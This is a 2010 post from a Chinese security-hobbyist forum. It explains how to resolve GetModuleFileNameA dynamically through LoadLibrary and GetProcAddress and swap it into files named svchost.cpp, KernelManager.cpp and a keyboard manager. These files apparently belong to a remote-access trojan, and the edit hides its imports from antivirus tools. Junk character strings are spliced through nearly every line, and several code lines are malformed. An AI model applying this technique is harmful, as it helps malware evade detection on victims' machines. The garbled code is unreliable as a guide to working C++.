Board logo

标题: [原创文章] 全局动态调用 [打印本页]

作者: ice_xke    时间: 2010-10-19 12:30     标题: 全局动态调用

全局动态调用笔记, Z  d% M% m3 E8 w; @( [
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h6 z$ I5 l' a4 N, q( I" j0 y
----------------------------------------1 j- G1 ]$ r# J8 D
DTDY.h:
; b; n# \0 M/ R, o" |$ j* i
& N- M* u& f7 b7 ]- c6 I6 G: O5 ^0 l#if _MSC_VER>1000
+ G- h- X) u3 z% X6 ~5 L#pragma once2 {1 v/ V, r9 R- [. H/ l# O
#endif //_MSC_VER>1000
! z# }4 _, P( i! d* D, P#include<windows.h>" I) J. F: z4 X( @* X

7 }# K3 K% e3 l  b! U3 @2 A% a! Ttypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);/ Q/ c( o5 S" d, p4 l
class DTDY) V' J! z8 L- T- C( W
{+ K& D+ y9 \# C. M8 |! H0 h
public:
% g! h* d% n: N' ]) \) FDTDY();- i4 d% S  D2 S! @
virtual ~DTDY();3 x( x9 n$ {$ I* @
public:
! q# a9 w# Y4 K' n8 ^& |% hstatic pGetModuleFileNameA MyGetModuleFileName;6 e9 U0 ]% U, G
static BOOL FunInitiallization();4 U3 C' d3 V- p' ~  k
};3 J7 X. }9 B% d% R
#endif
: H( N- d: Z+ u' U+ i' _----------------------------------------* j( t9 b' o& ]6 r
9 h. V. {" B6 [& s, l2 k
DTDY.cpp:: T" z1 j+ y  k* P1 k" k' N
6 b7 z  ^8 Z& N! U$ b7 F  b( P+ `
#include "DTDY.h"
, H% E" l: v' ]& j+ o5 d: ypGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
6 e1 U. A: h" g  p& D! {* t/ o  hDTDY:TDY()2 q4 x2 I: b3 l+ R  ~3 m* r
{( ?( w7 D) {* i/ q. ?9 K. b+ p
}. W4 K8 D  |* }) V/ `6 s# D4 R- d
DTDY::~DTDY()* }" ]% _" X" n9 o
{4 f; H" O0 K; `
}
0 F  }. i; t) f1 a0 `+ G, MBOOL DTDY::FunInitiallization()
1 J1 Q; [8 M+ S; s3 J{$ s9 N6 c0 {' h; Q3 h
HMODULE hModule=LoadLibrary("kernel32.dll");( w6 E9 K5 P* l6 t
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");- L& R6 e/ e+ j+ S
if(!MyGetModuleFileName=) return FALSE;
6 ?" T) N* {6 z# z
9 m+ G3 \  `% q0 {, a( h: z* m  m- z  z+ freturn TRUE;
: h: j. n# y' N. S* @* N! i}/ U4 j% ]7 v" w1 D( ?* d6 s
----------------------------------------3 k- a8 h' w  w
svchost.cpp:
( {' |+ L0 D2 h4 S4 a8 z; q
% ~/ \! A! n7 ~& Q# I9 b#include "DTDY.h"% U9 t! D3 P3 R- l# j

- Y) I# y$ ?4 V7 q+ cBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)% I4 g8 r5 T0 Y2 N: D: S2 |. Q
{
; e# V! R/ s6 K9 Q% L2 g- Hswitch(ul_reason_for_call)1 g, _. W# h! q) W
{0 E, C- h8 n( m6 Q8 m
case DLL_PROCESS_ATTACH:
! J: ]; h6 N1 ~if(!DTDY::FunInitiallization()) return FALSE;' i. j( P. b. j9 v; O; _

' z2 }! x, X8 o# g0 }6 l* R4 ?7 }break;
+ s: q& {+ D, w- e  t- V8 X+ J  n}! `; y4 V) W# c7 [/ r
}. C; R* I/ c& T
6 Q5 E2 V1 x- F8 {
$ s3 o8 L* U& K0 i
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
* U. J; O, S$ x3 G( z- I改写为, d' l; e( z# w5 j( W
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));9 O, P- I8 B$ h% c0 Q
----------------------------------------& ~8 b; b2 m8 `4 M2 w* I% z$ Q
KernelManager.cpp:
5 s# n" o$ H: ?5 Q; ]$ c, Y, R
2 M! s7 P, ^* x#include "../DTDY.h"$ z' N/ x% B. ^
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));$ w5 e4 W; S0 Z; R
改写为
$ `8 S0 K- w' ]. B  ^$ xDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
: S- _: }8 O- B! r2 w4 a9 ~----------------------------------------




欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/) Powered by Discuz! 7.2